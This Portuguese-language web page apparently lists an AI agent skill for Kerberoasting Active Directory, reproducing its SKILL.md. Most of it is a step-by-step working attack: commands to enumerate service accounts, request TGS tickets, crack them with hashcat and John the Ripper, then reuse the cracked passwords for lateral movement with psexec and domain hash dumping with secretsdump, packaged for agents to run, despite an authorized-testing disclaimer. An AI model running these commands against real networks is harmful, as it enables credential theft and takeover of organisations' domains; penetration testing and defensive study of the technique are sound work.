exploiting-kerberoasting-with-impacket
Ajuda seu agente a realizar Kerberoasting para obter credenciais de contas de serviço no Active Directory.
O que ela faz
Esta ferramenta ajuda a encontrar senhas de contas de serviço em redes corporativas. Ela faz isso solicitando 'bilhetes' especiais (tickets) para essas contas e depois tenta adivinhar as senhas desses bilhetes em um computador.
Quando usar
- ✓Ao testar a segurança de uma rede com permissão.
- ✓Ao analisar como ataques de roubo de senha funcionam.
- ✓Em simulações de ataque (red team) para ver se é possível roubar senhas.
Exemplo do que pedir para a IA
“Quero testar se consigo roubar senhas de contas de serviço na rede da empresa X.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta pede ao sistema de autenticação (Kerberos) um bilhete para cada conta de serviço que tem um 'nome de serviço' associado. Esses bilhetes vêm com a senha da conta de serviço 'escondida' dentro. Depois, a ferramenta tenta 'descobrir' essa senha escondida usando força bruta.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacketOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-kerberoasting-with-impacket/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Kerberoasting com Impacket
Visão Geral
Kerberoasting (MITRE ATT&CK T1558.003) é uma técnica de acesso a credenciais que visa contas de serviço do Active Directory, solicitando tickets Kerberos TGS (Ticket Granting Service) para contas com Service Principal Names (SPNs). O ticket TGS é criptografado com o hash NTLM da conta de serviço (RC4 ou AES), permitindo a quebra offline por força bruta. O GetUserSPNs.py do Impacket é a ferramenta padrão para ataques de Kerberoasting baseados em Linux.
Quando Usar
- Ao realizar testes de segurança autorizados que envolvam a exploração de kerberoasting com impacket
- Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
- Ao conduzir exercícios de equipe vermelha ou engajamentos de teste de penetração
- Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas
Pré-requisitos
- Credenciais de domínio válidas (qualquer usuário do domínio pode solicitar tickets TGS)
- Acesso à rede a um Controlador de Domínio (Kerberos TCP/88, LDAP TCP/389)
- Impacket instalado (
pip install impacket) - Hashcat ou John the Ripper para quebra offline
- Lista de palavras (ex: rockyou.txt, SecLists)
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar as leis de fraude de computador.
Mapeamento MITRE ATT&CK
| ID da Técnica | Nome | Tática |
|---|---|---|
| T1558.003 | Roubar ou Forjar Tickets Kerberos: Kerberoasting | Acesso a Credenciais |
| T1087.002 | Descoberta de Conta: Conta de Domínio | Descoberta |
| T1110.002 | Força Bruta: Quebra de Senha | Acesso a Credenciais |
Passo 1: Enumerar Contas Kerberoastáveis
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# Output example:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10
Passo 2: Solicitar Tickets TGS
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txt
Passo 3: Quebrar Tickets TGS Offline
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
Passo 4: Validar e Usar Credenciais Quebradas
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
Ferramentas Alternativas
Rubeus (Windows)
# Kerberoast todas as contas
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Alvo de usuário específico
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
…
Perguntas frequentes
Preciso de permissão para usar isso?
Sim, você só pode usar esta ferramenta em redes que você tem permissão explícita para testar. Usar sem permissão é ilegal.
O que são 'contas de serviço'?
São contas usadas por programas ou serviços para rodar em computadores, em vez de serem usadas por pessoas.
O que é Kerberos?
É um sistema de autenticação de rede usado em muitas redes corporativas para verificar se os usuários e serviços são quem dizem ser.
Detalhes
Descrição original do autor
Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted hashes offline to recover service account credentials. Use during authorized Active Directory penetration tests or red-team engagements for credential access against service accounts via Kerberos ticket-gran
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5750
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC